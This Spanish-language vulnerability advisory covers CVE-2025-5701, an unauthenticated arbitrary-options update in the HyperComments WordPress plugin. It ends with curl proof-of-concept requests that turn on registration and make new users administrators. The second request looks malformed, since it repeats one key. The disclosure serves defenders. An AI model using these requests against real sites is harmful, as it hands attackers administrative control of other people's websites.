CVE-2025-5701

HyperComments <= 1.2.2 - Actualización arbitraria de opciones sin autenticar (Subscriber+)

Descripción

El complemento HyperComments para WordPress es vulnerable a la modificación no autorizada de datos, lo que puede conducir a una escalada de privilegios debido a una falta de comprobación de capacidades en la función hc_request_handler en todas las versiones hasta la 1.2.2 incluida. Esto permite que atacantes no autenticados actualicen opciones arbitrarias en el sitio de WordPress. Esto puede aprovecharse para actualizar el rol predeterminado de registro a administrador y habilitar el registro de usuarios, lo que permite a los atacantes obtener acceso de usuario administrativo a un sitio vulnerable.

Detalles

• Tipo: plugin
• Slug: hypercomments
• Versión afectada: 1.2.2
• Puntuación CVSS: 9.8
• Clasificación CVSS: Crítico
• Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-5701
• Estado: Cerrado

POC

curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"default_role\":\"administrator\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"

curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"users_can_register\":\"1\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"